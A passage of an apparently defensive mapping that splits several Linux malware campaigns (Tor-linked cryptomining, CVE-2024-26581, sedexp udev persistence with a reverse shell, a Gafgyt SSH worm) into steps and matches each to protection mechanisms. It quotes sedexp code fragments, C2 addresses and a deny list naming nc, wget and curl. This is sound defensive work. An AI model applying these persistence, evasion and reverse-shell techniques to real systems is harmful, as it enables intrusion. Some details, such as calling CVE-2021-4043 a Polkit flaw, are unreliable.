  • BR-75: Critical Directory Write Protection - This mechanism is applicable if /tmp is write-protected, blocking creation of the socket file and log files.
  • BR-87: Process Socket Deny - This mechanism primarily targets network sockets (TCP/UDP), not typically Unix domain sockets. Unlikely to apply directly.
• The malware implements evasion by suspending activity when a new user login is detected via btmp or utmp files. (Cited from: "suspending its activity when it detects a new user in the btmp or utmp files")
  • BR-91: Sensitive File Access - This mechanism is applicable if btmp or utmp files are added to the sensitive file list. It could alert on the malware reading these files.

​

F3: Payload execution for monetization (cryptomining, proxy-jacking) and command & control communication.

• The malware (sh process or via wizlmsh persistence) drops and executes a packed and encrypted Monero cryptominer (XMRIG). (Cited from: "A cryptominer is also dropped", "In all cases we observed a monero cryptominer (XMRIG) executed", "The cryptominer is also packed and encrypted.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if in a container, blocking execution of the dropped XMRIG binary.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if on the host, blocking execution of the dropped XMRIG binary.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the miner is dropped to a write-protected directory.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the miner is executed from a path not on the allow list (e.g., /tmp).
  • BR-90: Process Exec Deny - This mechanism is applicable if the miner binary name/path matches a deny rule.
• The cryptominer consumes significant CPU resources. (Cited from: "exhausting the server’s CPU resources")
• The cryptominer communicates with mining pools via the TOR network for anonymity. (Cited from: "the cryptomining pools are accessed via TOR.", "Figure 8: Cryptomining traffic")
  • BR-87: Process Socket Deny - This mechanism is applicable by preventing the cryptominer process (XMRIG) from making outbound network connections if it's not on the allow list.
• In some instances, the malware downloads and executes proxy-jacking software. (Cited from: "in some executions, we also observed some proxy-jacking software transferred from a remote server and executed", "in some of the attacks we’ve seen proxy-jacking via various vendors")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if in a container, blocking execution of the downloaded proxy-jacking binary.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if on the host, blocking execution of the downloaded proxy-jacking binary.
  • BR-80: Tainted File Download Protection - This mechanism is applicable if the download uses monitored tools (curl/wget) and the software is code, blocking subsequent execution.
  • BR-87: Process Socket Deny - This mechanism is applicable to block the download if the initiating process is not allowed network access.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the software is executed from a disallowed path.
  • BR-90: Process Exec Deny - This mechanism is applicable if the download uses denied tools (wget/curl) or the proxy-jacking binary matches a deny rule.
• The proxy-jacking software communicates with services like bitping.com, earn.fm, speedshare.app, and repocket.com to sell the compromised server's bandwidth. (Cited from: "We’ve seen the communication with the following domains: bitping.com, earn.fm, speedshare.app, and repocket.com")
  • BR-87: Process Socket Deny - This mechanism is applicable by preventing the proxy-jacking process from making outbound network connections if it's not on the allow list.
• The main malware component (sh) initiates TOR communication to external C2 servers (e.g., 80.67.172.162, 176.10.107.180). (Cited from: "The binary sh is also initiating communication via Tor with few servers", "Figure 10: TOR sessions log")
  • BR-87: Process Socket Deny - This mechanism is applicable by preventing the sh malware process from making outbound TOR connections if it's not on the allow list.
• The malware opens a backdoor listening for incoming TOR communications, potentially allowing direct attacker access. (Cited from: "It opens a backdoor on the server and listens for TOR communications.", "the threat actor utilized one of the malware’s backdoors to access the honeypot")
  • BR-55: Reverse Shell Protection - This mechanism is applicable if the backdoor facilitates an interactive shell session over the TOR connection. It detects shell I/O bound to network sockets and blocks it.
  • BR-87: Process Socket Deny - This mechanism is applicable by preventing the malware process from opening listening sockets (accepting incoming connections) if it's not on the allow list.

​

F4: Attempted privilege escalation using a known vulnerability.

• The main malware payload (sh/httpd) contains an exploit for the Polkit vulnerability CVE-2021-4043. (Cited from: "The malware contains an exploit to CVE-2021-4043")
• The malware attempts to execute the Polkit exploit to gain root privileges on the server. (Cited from: "which it is trying to run in order to gain root privilege on the server.", "It attempts to exploit the Polkit vulnerability (CVE-2021-4043) to escalate privileges.")
  • BR-30: Process Credential Protection - This mechanism is applicable as it detects and prevents unauthorized privilege escalation attempts that try to overwrite or redirect process credentials, which is the goal of the Polkit exploit.
  • BR-31: Privileged Inode Protection - This mechanism is applicable if the Polkit exploit involves modifying SUID/SGID binaries (privileged inodes) to gain root access. It detects unauthorized modifications to security-relevant fields.
  • BR-46: DirtyCred Protection - This mechanism is applicable if the exploit technique resembles DirtyCred (swapping kernel credentials via file operations), although CVE-2021-4043 is typically a command injection vulnerability. If the exploit chain involved such a technique, it would apply.
  • BR-67: Container Root User Control - This mechanism is applicable if running in a container. If the exploit succeeds and tries to start a new process as root (other than PID 1), this mechanism detects and prevents it.
  • BR-78: Host Setuid File Protection - This mechanism is applicable if the exploit attempts to modify a host-owned setuid file from within a container to escalate privileges.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the exploit involves executing a separate binary/script payload that wasn't in the original image/allowed list.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if the exploit involves executing a separate binary/script payload added post-boot.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the exploit payload is executed from a disallowed path.

F1: Exploiting CVE-2024-26581 for information disclosure by triggering a flaw in nftsetrbtree.

• Attacker gains access as a local authenticated user on a Linux system with a vulnerable kernel version (e.g., 6.1.9+, 5.15.91+, 5.10.166+). (Cited from: "allowing local authenticated attackers to obtain sensitive information", "Linux kernel versions 6.1.9 and later, 5.15.91 and later, and 5.10.166 and later are confirmed to be susceptible")
• Attacker crafts a specially crafted request targeting the nftsetrbtree function within the nftables framework. (Cited from: "An attacker can trigger this flaw by sending a specially crafted request", "The vulnerability resides within the nftsetrbtree function")
• Attacker sends the crafted request, causing the nftsetrbtree function to improperly handle an interval lookup during a transaction.
• The flaw results in the unauthorized disclosure of an “end interval element” during the transaction. (Cited from: "resulting in the unauthorized disclosure of an “end interval element” during a transaction")
  • BR-41: Container Memory Namespace Isolation - This mechanism is applicable because it isolates memory between namespaces. While not preventing the kernel flaw itself, strong memory isolation could potentially limit the scope or sensitivity of the leaked 'end interval element', making it harder for the attacker to gain useful information about other processes or critical kernel regions outside the affected namespace.
  • BR-68: Spaces-based Strong Isolation - This mechanism is applicable because it provides strong physical memory isolation based on active memory namespaces. Similar to BR-41, this could limit the usefulness of the leaked information by preventing the disclosed element from revealing addresses or data related to other isolated memory spaces. Note: This mechanism is currently a proof of concept.
• Attacker captures this leaked information, which could contain sensitive kernel memory details. (Cited from: "This leaked information could then be exploited for further malicious activities", "demonstrating the feasibility of leveraging this vulnerability for information leakage")

​

F2: Triggering a Use-After-Free (UAF) condition via CVE-2024-26581 by manipulating nftables set elements during transaction rollback.

• Attacker gains local authenticated access on a vulnerable Linux system. (Cited from: "allowing local authenticated attackers to obtain sensitive information")
• Attacker interacts with the nftables framework to manipulate set elements. (Cited from: "vulnerability occurs during the rollback of a transaction in the nftables framework")
• Attacker inserts a set element with the NFTASETELEM_EXPIRATION and NFTASETELEM_TIMEOUT flags. (Cited from: "insert a set element with the NFTASETELEMEXPIRATION and NFTASETELEMTIMEOUT flags")
• Attacker subsequently inserts another element with the NFTSETELEMINTERVALEND flag into the same set. (Cited from: "followed by another element with the NFTSETELEMINTERVALEND flag")
• Attacker deliberately triggers an error condition within the nftables transaction. (Cited from: "before triggering an error condition")
• The error triggers the transaction rollback mechanism (nftablesabort). (Cited from: "When an error is detected, the rollback mechanism (nftablesabort) is triggered")
• During rollback, the nftrbtreegc_elem function is called, which lacks a crucial check on the 'setelement' referenced by 'prev'. (Cited from: "The core issue lies in the nftrbtreegc_elem function, which lacks a crucial check on the ‘setelement’ referenced by ‘prev’")
• This omission leads to the potential double deletion (double free) of a set element, creating a Use-After-Free condition. (Cited from: "leading to the potential double deletion of a set element", "This omission can trigger a use-after-free condition")
  • BR-35: Kernel Integrity Protection - This mechanism is applicable because it protects kernel code and read-only data regions from unauthorized writes. If the exploitation of the UAF condition involves attempting to write to these protected memory areas (e.g., to overwrite code or critical read-only data), BR-35 would detect and potentially block the attempt.
  • BR-45: Page Table Protection - This mechanism is applicable because it asynchronously verifies the integrity of kernel page tables. If the attacker leverages the UAF to modify kernel page table entries (e.g., to remap memory or bypass protections), BR-45 could detect this tampering after the fact.
  • BR-41: Container Memory Namespace Isolation - This mechanism is applicable because it isolates memory between namespaces. While it doesn't fix the UAF flaw itself, it could potentially contain the immediate impact of the memory corruption within the affected namespace, making it harder for the corruption to directly affect other isolated processes or critical kernel structures.
  • BR-68: Spaces-based Strong Isolation - This mechanism is applicable because it provides strong physical memory isolation. Similar to BR-41, it could help contain the memory corruption resulting from the UAF, limiting its spread and impact across different isolated memory spaces. Note: This mechanism is currently a proof of concept.

​

F3: Leveraging the initial CVE-2024-26581 exploit (information leak or UAF) as a stepping stone towards potential privilege escalation.

• Attacker successfully executes either the information disclosure (F1) or the Use-After-Free trigger (F2). (Cited from: "information leakage", "use-after-free condition")
• Attacker uses the obtained information (e.g., leaked kernel addresses from F1) or the memory corruption primitive (from the UAF in F2) in subsequent, carefully crafted attacks. (Cited from: "This leaked information could then be exploited for further malicious activities", "By chaining this initial exploit with carefully crafted subsequent attacks")
• The ultimate goal of these chained attacks is to escalate privileges to the root level. (Cited from: "an attacker could potentially escalate their privileges to the root level, gaining full control over the affected system")

F1: Initial compromise, installation, persistence establishment, and basic stealth implementation by the sedexp malware.

• Attacker gains initial access to the target Linux system (Method not specified in text, assumed prerequisite).
• The sedexp malware binary is executed on the compromised system.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if the malware binary sedexp was introduced after the container image was loaded (i.e., not part of the original image), BR-54 would detect this drift and block the execution attempt within the container.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if the malware binary was added to the host filesystem after boot and outside of a trusted package manager, BR-62 would detect this drift and block its execution on the host.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the malware binary is executed from a filesystem path (e.g., /tmp, a user's home directory) that is not included in the configured allow list, BR-88 would intercept the exec() call and block the execution.
  • BR-90: Process Exec Deny - This mechanism is applicable if the malware binary's name coincidentally matches a pattern on the deny list (e.g., if it ended in /nc, /wget, or /curl as per the default deny list mentioned in BR-90 description, although unlikely for initial execution). It would block execution based on the name suffix.
• The malware determines its own execution path using readlink("/proc/self/exe", ...).
• The malware copies itself to a location under /lib/udev/, using its original base filename (e.g., /lib/udev/asedexpb). (Cited from: "snprintf(newpath, sizeof(newpath), "/lib/udev/%s", basename(buffer)); system("cp -f %s %s && sync", buffer, new_path);")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable because if /lib/udev/ is configured as a critical directory protected against writes by any process, this mechanism would block the cp command (executed via system()) from writing the malware binary into that directory.
  • BR-52: Data Resource Mandatory Access Control - This mechanism is applicable because if /lib/udev/ is configured as a critical data directory, BR-52 enforces an allow-list of binaries permitted to access it. If the process executing the cp command (or the malware process itself) is not on this allow-list, the write operation would be blocked.
• The malware constructs a path for a new udev rule file in /etc/udev/rules.d/ using its base filename (e.g., /etc/udev/rules.d/99-asedexpb.rules). (Cited from: "snprintf(rulepath, sizeof(rulepath), "/etc/udev/rules.d/99-%s.rules", basename(buffer));")
• The malware creates and writes a udev rule to this file, configured to trigger on the addition (ACTION=="add") of the device with MAJOR=="1" and MINOR=="8" (corresponding to /dev/random). (Cited from: "FILE *rulefile = fopen(rulepath, "w+");", "fprintf(rulefile, "ACTION==\"add\", ENV{MAJOR}==\"1\", ENV{MINOR}==\"8\", RUN+=\"%s %s:+\"\n", newpath, "run");", "ENV{MINOR}=="8": This condition checks if the device's minor number is 8, which corresponds to /dev/random for major number 1.")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable because if /etc/udev/rules.d/ is configured as a critical directory protected against writes by any process, this mechanism would block the malware's attempt to create or write to the .rules file.
  • BR-52: Data Resource Mandatory Access Control - This mechanism is applicable because if /etc/udev/rules.d/ is configured as a critical data directory, BR-52 enforces an allow-list of binaries permitted to access it. If the malware process attempting the write (fopen, fprintf) is not on this allow-list, the write operation would be blocked.
• The RUN+= action in the udev rule is set to execute the copied malware binary (e.g., /lib/udev/asedexpb) with the argument run:+. (Cited from: "RUN+=\"%s %s:+\"\n", new_path, "run");")
• The malware manipulates its own process arguments in memory, zeroing them out to obfuscate its execution parameters. (Cited from: "memset(arguments[i], 0, strlen(arguments[i]));")
• The malware changes its process name to kdevtmpfs using prctl(PRSETNAME, ...) to blend in with legitimate system processes. (Cited from: "arguments[0] = "kdevtmpfs"; prctl(PRSETNAME, "kdevtmpfs", 0, 0, 0);")
• The malware employs memory modification techniques to hide files containing the string sedexp (including its own binary and the created udev rule) from directory listing commands like ls or find. (Cited from: "The malware modifies memory to hide any file containing the string "sedexp" from commands like ls or find.", "this capability was used to conceal ... the udev rule itself.")
  • BR-24: File Operations Protection - This mechanism is applicable because it specifically targets rootkit techniques that modify file operation data structures in the kernel to hide activities (like hiding files). If sedexp modifies file struct members or related pointers to intercept file listing operations, BR-24 would detect this manipulation.
  • BR-35: Kernel Integrity Protection - This mechanism is applicable if the memory modification technique involves patching kernel code sections or read-only data structures (e.g., hooking the syscall table for getdents) to filter file listings. BR-35 protects these regions from unauthorized writes.
  • BR-45: Page Table Protection - This mechanism could potentially apply if the hiding mechanism involves manipulating kernel page tables related to filesystem operations, although this is less direct than modifying file operations structures or kernel code.

​

F2: Activation of sedexp via the udev persistence mechanism and establishment of a reverse shell.

• The system reboots or the /dev/random device is otherwise re-initialized, triggering a udev add event for major 1, minor 8. (Cited from: "It is loaded by the operating system on every reboot, meaning this rule would effectively ensure that the sedexp script is run upon system reboot.", "ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8"")
• The udev daemon processes the rule file created by the malware (e.g., /etc/udev/rules.d/99-asedexpb.rules).
• The RUN+= directive in the matching rule causes the udev daemon to execute the malware binary (e.g., /lib/udev/asedexpb run:+). (Cited from: "RUN+=\"%s %s:+\"\n", new_path, "run");")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if the malware binary /lib/udev/asedexpb executed by udev was not part of the original container image, BR-54 would block its execution.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if the malware binary was added to the host filesystem post-boot and outside of a trusted package manager, BR-62 would block its execution by udev.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the path /lib/udev/ (or wherever the malware was copied) is not on the execution allow list, BR-88 would block udev from executing the malware.
  • BR-90: Process Exec Deny - This mechanism is applicable if the malware's filename (e.g., asedexpb) matches a denied suffix, blocking its execution by udev.
  • BR-47: Container Capability Control - This mechanism is applicable because if the malware, when executed by udev, requires capabilities (e.g., network access, process manipulation) that are disallowed by the container's capability policy enforced by BR-47, its actions could be restricted or blocked.
• The executed malware instance identifies the run argument (or similar logic based on invocation context).
• The malware initiates its reverse shell capability. (Cited from: "It includes a reverse shell, allowing the threat actor to maintain control over the compromised system.")
• The malware creates a TCP socket (socket(AFINET, SOCKSTREAM, 0)). (Cited from: Code analysis snippet showing socket call)
  • BR-87: Process Socket Deny - This mechanism is applicable because if a policy is configured to deny network socket creation for the malware process (identified by name asedexpb or masqueraded name kdevtmpfs), BR-87 would block the socket() call.
  • BR-47: Container Capability Control - This mechanism is applicable because creating network sockets often requires capabilities like CAPNETRAW or CAPNETBIND_SERVICE. If the container policy enforced by BR-47 denies these capabilities to the malware process, the socket() call could fail.
• The malware attempts to connect (connect(...)) to a hardcoded or configured attacker-controlled IP address and port. (Cited from: Code analysis snippet showing connect call)
  • BR-87: Process Socket Deny - This mechanism is applicable because if socket operations are denied for the malware process, the connect() call would be blocked.
  • BR-47: Container Capability Control - This mechanism is applicable as network connection capabilities might be restricted, preventing the connect() call.
  • BR-55: Reverse Shell Protection - This mechanism is applicable because it monitors for the pattern of shell I/O being bound to network sockets. While the block might occur at the dup2 or execl stage, the connect() call is a prerequisite step in establishing the connection that BR-55 aims to prevent abuse of.
• Upon successful connection, the malware duplicates the socket file descriptor to standard input (STDIN_FILENO), standard output (STDOUT_FILENO), and standard error (STDERR_FILENO) using dup2. (Cited from: Code analysis snippet showing dup2 calls)
  • BR-55: Reverse Shell Protection - This mechanism is directly applicable because it specifically detects and blocks attempts to bind a shell's standard I/O file descriptors (STDIN, STDOUT, STDERR) to network sockets, which is the primary characteristic of a reverse shell setup.
• The malware executes /bin/sh using execl("/bin/sh", "sh", NULL), providing the attacker with a remote shell session over the established socket connection. (Cited from: Code analysis snippet showing execl call)
  • BR-55: Reverse Shell Protection - This mechanism is directly applicable because the execution of a shell (/bin/sh) immediately after binding its I/O to a network socket is the action BR-55 is designed to prevent.
  • BR-88: Process Path Exec Allow - This mechanism is unlikely to block /bin/sh as it's typically in an allowed path (e.g., /bin).
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is unlikely to block /bin/sh as it's almost always part of the base container image.

​

F3: Observed attack scenario involving sedexp used by a financially motivated actor to conceal credit card scraping activities on a webserver.

• A financially motivated threat actor compromises a webserver. (Cited from: "the malware was employed by a financially motivated threat actor.")
• The actor deploys credit card scraping code onto the webserver (e.g., modifies web application code or server configurations). (Cited from: "The malware was used to hide credit card scraping code on a webserver, indicating a focus on financial gain.")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the webserver's application directories or configuration directories where the scraper code is placed are defined as critical and write-protected.
  • BR-52: Data Resource Mandatory Access Control - This mechanism is applicable if the webserver directories are protected by MAC policy and the process used to deploy the scraper code is not on the allow list for write access.
• The actor deploys and executes the sedexp malware, which establishes persistence using the udev rule technique targeting /dev/random. (Cited from: See F1 steps 2-7)
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applicable if on container and binary is new (See F1.2).
  • BR-62: Linux/Host Drift Protection - Applicable if on host and binary is new/unmanaged (See F1.2).
  • BR-88: Process Path Exec Allow - Applicable if executed from disallowed path (See F1.2).
  • BR-75: Critical Directory Write Protection - Applicable to writing binary/rule file to protected dirs (See F1.4, F1.6).
  • BR-52: Data Resource Mandatory Access Control - Applicable to writing binary/rule file if process not allowed (See F1.4, F1.6).
• The sedexp malware uses its memory modification capabilities to hide the presence of the credit card scraping code files. (Cited from: "The malware modifies memory to hide any file containing the string "sedexp" from commands like ls or find." - Extrapolated to hide scraper code based on observed use case)
  • BR-24: File Operations Protection - Applicable if hiding involves modifying file operation structures (See F1.10).
  • BR-35: Kernel Integrity Protection - Applicable if hiding involves patching kernel code/RO data (See F1.10).
  • BR-91: Sensitive File Access - This mechanism is applicable if the scraper code files have paths or names matching configured sensitive patterns. Attempts by ls/find (or the malware's hiding mechanism) to access these files could be alerted or blocked.
• The sedexp malware may also hide modified webserver configuration files (e.g., Apache configuration) related to the scraping activity. (Cited from: "this capability was used to conceal webshells, modified Apache configuration files...")
  • BR-24: File Operations Protection - Applicable if hiding involves modifying file operation structures (See F1.10).
  • BR-35: Kernel Integrity Protection - Applicable if hiding involves patching kernel code/RO data (See F1.10).
  • BR-75: Critical Directory Write Protection - Applicable if the modification of the Apache config file itself was blocked initially.
  • BR-91: Sensitive File Access - Applicable if the Apache configuration file path matches sensitive patterns. Access attempts could be alerted/blocked.
• The malware maintains stealth by masking its process name as kdevtmpfs and hiding its own files and the udev rule. (Cited from: See F1 steps 9-10)
  • BR-24: File Operations Protection - Applicable to file hiding (See F1.10).
  • BR-35: Kernel Integrity Protection - Applicable to file hiding via kernel patching (See F1.10).
• The actor potentially uses the sedexp reverse shell capability (activated on reboot) for ongoing access and management of the scraping operation. (Cited from: See F2 steps)
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applicable if malware execution blocked on activation (See F2.3).
  • BR-62: Linux/Host Drift Protection - Applicable if malware execution blocked on activation (See F2.3).
  • BR-88: Process Path Exec Allow - Applicable if malware execution blocked on activation (See F2.3).
  • BR-47: Container Capability Control - Applicable if needed capabilities are restricted (See F2.3, F2.6, F2.7).
  • BR-87: Process Socket Deny - Applicable if socket creation/connection blocked (See F2.6, F2.7).
  • BR-55: Reverse Shell Protection - Applicable if shell I/O binding is blocked (See F2.7, F2.8, F2.9).

F1: Initial compromise via SSH brute-force followed by system preparation and payload execution from memory.

• Attacker identifies an internet-connected server with SSH exposed. (Cited from: "internet connected SSH", "Shodan ... uncovered more than 30 million internet connected instances")
  • BR-43: System Logging - This mechanism logs system events, which could potentially include network scanning activity if configured appropriately, aiding in post-incident forensics.
• Attacker successfully performs a brute force attack against the SSH service using weak credentials. (Cited from: "successful brute force attempt on our SSH honeypot which is configured with a very weak password", "initial access is gained by brute forcing to an internet connected SSH with weak password")
  • BR-53: SSH Deep Auth & SSH Least Privilege - This mechanism is applicable because it enhances SSH security beyond simple passwords by using ephemeral certificate-based authentication and cryptographically signed tokens, preventing brute-force success even with weak passwords.
  • BR-43: System Logging - This mechanism logs system events, including failed and successful login attempts, which helps in detecting brute-force attacks.
• Once SSH access is gained, the attacker executes initial shell commands to inspect the server. (Cited from: "executes some shell commands via the SSH connection", "Once access is gained a few commands to inspect and prepare the server are executed")
  • BR-55: Reverse Shell Protection - This mechanism is applicable if the attacker attempts to use shell commands to establish a reverse shell connection, as it blocks the binding of shell STDIN/STDOUT/STDERR to network sockets.
  • BR-43: System Logging - This mechanism is applicable because it logs process creation events, capturing the execution of shell commands for forensic analysis.
  • BR-90: Process Exec Deny - This mechanism could apply if specific shell commands or utilities used for inspection (like curl, wget) are explicitly denied execution.
  • BR-88: Process Path Exec Allow - This mechanism could apply if the attacker attempts to execute inspection tools from a path not on the allowlist.
• Attacker performs checks to determine if the machine is already infected with this Gafgyt variant or running competing malware. (Cited from: "determine if the machine has already been infected by this variant of Gafgyt", "check if another malware is running and if so to kill it")
  • BR-43: System Logging - This mechanism is applicable as it logs process discovery (T1057) and execution events, aiding in detecting reconnaissance activities.
  • BR-60: Deep Forensics - This mechanism is applicable as it can capture process trees and other forensic data upon detecting suspicious activity, helping analyze discovery steps.
  • BR-88: Process Path Exec Allow - This mechanism could block discovery tools if executed from disallowed paths.
  • BR-90: Process Exec Deny - This mechanism could block specific discovery tools if their names are on the deny list.
• Attacker terminates processes associated with potential competing malware. (Cited from: "Killing competition")
  • BR-43: System Logging - This mechanism is applicable because it logs process termination events.
  • BR-83: Syscall Deny Filter - This mechanism could potentially be configured to deny the kill syscall, preventing the termination of processes.
  • BR-30: Process Credential Protection - This mechanism could prevent the attacker from gaining the necessary privileges to terminate other processes.
  • BR-88: Process Path Exec Allow - This mechanism could block the execution of the kill command or related tools if run from a disallowed path (though unlikely for standard tools).
  • BR-90: Process Exec Deny - This mechanism could block the execution of the kill command if explicitly denied.
• Attacker transfers two primary payloads (ELF binaries) to the compromised host via the established SSH connection. (Cited from: "transfers the main payloads", "2 payloads are passed via the newly established SSH connection")
  • BR-53: SSH Deep Auth & SSH Least Privilege - This mechanism applies by potentially preventing the initial SSH access required for the transfer.
  • BR-43: System Logging - This mechanism logs system events, which might include file creation/modification if configured, providing forensic evidence of the transfer.
• The first payload, identified as a Gafgyt SSH scanner (ld-musl-x86), is dropped into memory (/dev/shm) and executed. (Cited from: "two ELF files dropped to memory (/dev/shm)", "The first one is ld-musl-x86 ... detected in Virus Total (VT) as Gafgyt SSH scanner", "Executing the worm")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is directly applicable because it prevents the execution of any binary (like ld-musl-x86) that was not part of the original container image, especially when executed from a non-standard path like /dev/shm.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it would block the execution of the binary if /dev/shm is not configured as an allowed execution path.
  • BR-85: Ephemeral Filesystem Behavior Analysis - This mechanism is applicable as it specifically detects and alerts on script/binary execution from memory-backed filesystems like /dev/shm.
  • BR-43: System Logging - This mechanism logs the process execution event.
  • BR-90: Process Exec Deny - This mechanism could apply if a policy denies execution based on the binary name or path suffix.
• The second payload, identified as an XMRig cryptominer (systemd-net), is dropped into memory (/dev/shm) and executed with flags (--cuda, --opencl) indicating GPU usage. (Cited from: "The second one is systemd-net ... detected in VT as an XMR cryptominer", "Executing the cryptominer", "execution code of the miner includes the flags --cuda and --opencl")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is directly applicable because it prevents the execution of any binary (like systemd-net) that was not part of the original container image, especially when executed from /dev/shm.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it would block the execution of the binary if /dev/shm is not configured as an allowed execution path.
  • BR-85: Ephemeral Filesystem Behavior Analysis - This mechanism is applicable as it specifically detects and alerts on script/binary execution from memory-backed filesystems like /dev/shm.
  • BR-43: System Logging - This mechanism logs the process execution event.
  • BR-90: Process Exec Deny - This mechanism could apply if a policy denies execution based on the binary name or path suffix.
• Attacker modifies the /etc/sysctl.conf file to potentially alter kernel parameters for performance or evasion. (Cited from: "Modifying configurations /etc/sysctl.conf")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if /etc or specifically /etc/sysctl.conf is configured as a critical directory, as it would block unauthorized write attempts.
  • BR-25: Read-Only File Protection - This mechanism could apply if /etc/sysctl.conf were marked as read-only and the modification attempt used a pipe-based technique, although this specific file is typically writable by root.
  • BR-24: File Operations Protection - This mechanism monitors file operation data structures and could detect tampering related to file modification.
  • BR-43: System Logging - This mechanism can log file modification events, providing forensic evidence.
  • BR-31: Privileged Inode Protection - This mechanism could apply if the modification involves changing inode attributes like permissions in an unauthorized way.
  • BR-46: DirtyCred Protection - This mechanism monitors for unauthorized writes to read-only files, which might be relevant if the attacker uses a DirtyCred-like exploit to gain write access.
• Attacker deletes command history and log files to cover tracks and evade detection. (Cited from: "history and logs files are deleted to evade detection", "History deletion")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if log directories (e.g., /var/log) or user home directories containing history files are configured as critical, blocking deletion/modification.
  • BR-91: Sensitive File Access - This mechanism is applicable if specific history files (e.g., ~/.bash_history) or log files are configured as sensitive, blocking access attempts.
  • BR-24: File Operations Protection - This mechanism monitors file operations and could detect unauthorized deletion attempts.
  • BR-43: System Logging - This mechanism logs events; while the attacker aims to delete logs, the logging itself provides a record up to the point of deletion, and centralized logging can preserve logs off-host.
  • BR-52: Data Resource Mandatory Access Control - This mechanism could apply if log directories/files are defined as critical data resources and the deletion tool is not an allowed binary.

​

F2: Propagation and targeting phase of the Gafgyt variant, involving credential fetching, scanning, and specific targeting of cloud-native environments.

• The executed Gafgyt binary (ld-musl-x86) contacts a hardcoded C2 server IP address (107.189.5.210). (Cited from: "C2 IP address hard coded in Gafgyt", "The function backgroundlogic in the malware is set to download from the threat actor’s server (at 107.189.5.210)")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the ld-musl-x86 process from initiating outbound network connections if it's not on the allow list.
  • BR-43: System Logging - This mechanism can log network connection attempts if configured, aiding forensics.
• The malware downloads a configuration file (1.txt) containing a list of username/password pairs for brute-forcing. (Cited from: "download from the threat actor’s server ... the file 1.txt, which is a brute force configuration file containing 179 sets of users and passwords")
  • BR-87: Process Socket Deny - This mechanism is applicable as it can block the network connection needed for the download if the malware process is not allowed.
  • BR-80: Tainted File Download Protection - This mechanism might apply if the download is performed by wget or curl (though the article implies the malware does it directly) and if the file were mistakenly identified as code (unlikely for a credential list).
  • BR-43: System Logging - This mechanism can log network activity and file creation.
  • BR-90: Process Exec Deny - This mechanism could apply if the download is attempted using a denied tool like wget or curl.
• The downloaded credential list includes usernames targeting general Linux systems (admin, app), gaming servers (counterstrike, minecraft), IoT devices (nvidia, raspberrypi), and specifically cloud-native environments (Hadoop, AWS, Azure, Ansible, devops). (Cited from: "In the general purpose you can see usernames such as admin, app...", "Under the gaming classification you can observe usernames such as counterstrike or minecraft", "Under IoTs you can see nvidia, raspberrypi...", "In the cloud native category, we observe Hadoop, AWS, Azure, Ansible, devops...")
• The Gafgyt malware uses the obtained credential list to scan the internet for exposed SSH and Telnet services. (Cited from: "scanning the internet for exposed SSH and Telnet services")
  • BR-87: Process Socket Deny - This mechanism is applicable as it can prevent the malware process from initiating the outbound connections required for scanning if it's not on the allow list.
  • BR-43: System Logging - This mechanism can log network scanning activity.
• Upon finding potential targets, the malware conducts brute-force attacks using the credential list. (Cited from: "conducting brute force")
  • BR-87: Process Socket Deny - This mechanism is applicable as it can prevent the malware process from making outbound connections to target SSH/Telnet services if not allowed.
  • BR-53: SSH Deep Auth & SSH Least Privilege - This mechanism applies to the targets of the brute-force attack, making them resilient even if scanned.
  • BR-43: System Logging - This mechanism can log the outbound connection attempts.
• The malware inspects potential victims to verify they are real servers and not honeypots before initiating infection. (Cited from: "inspecting the findings and initiating infection", "using various checks to establish that this is a real server with the service running probably to avoid infecting low interaction honeypots")
  • BR-87: Process Socket Deny - This mechanism is applicable as it can block the network connections needed for inspection if the malware process is not allowed.
  • BR-43: System Logging - This mechanism can log the inspection activities.
• Successfully compromised machines are infected, becoming part of the botnet to repeat the scanning and infection cycle. (Cited from: "initiate similar attack", "the honeypot becomes a part of the botnet, scanning the internet")
  • BR-53: SSH Deep Auth & SSH Least Privilege - Protects the new victim from the initial brute-force.
  • BR-54: Container Drift Protection (Binaries & Scripts) - Prevents payload execution on the new victim.
  • BR-88: Process Path Exec Allow - Prevents payload execution from disallowed paths on the new victim.
  • BR-85: Ephemeral Filesystem Behavior Analysis - Detects payload execution from memory on the new victim.
  • BR-87: Process Socket Deny - Prevents the newly infected bot from scanning/propagating further.
• Simultaneously, the XMRig cryptominer (systemd-net) utilizes the host's CPU and GPU resources (indicated by --cuda and --opencl flags) to mine cryptocurrency (Monero). (Cited from: "Executing the XMRIG cryptominer", "The cryptominer in use is XMRIG, a Monero cryptocurrency miner", "run a cryptominer using the --opencl and --cuda flags, which leverage GPU and Nvidia GPU computational power")
  • BR-54: Container Drift Protection (Binaries & Scripts) - Prevents the execution of the cryptominer if it wasn't in the original image.
  • BR-88: Process Path Exec Allow - Prevents execution if the miner is run from a disallowed path like /dev/shm.
  • BR-85: Ephemeral Filesystem Behavior Analysis - Detects execution from memory-backed filesystems.
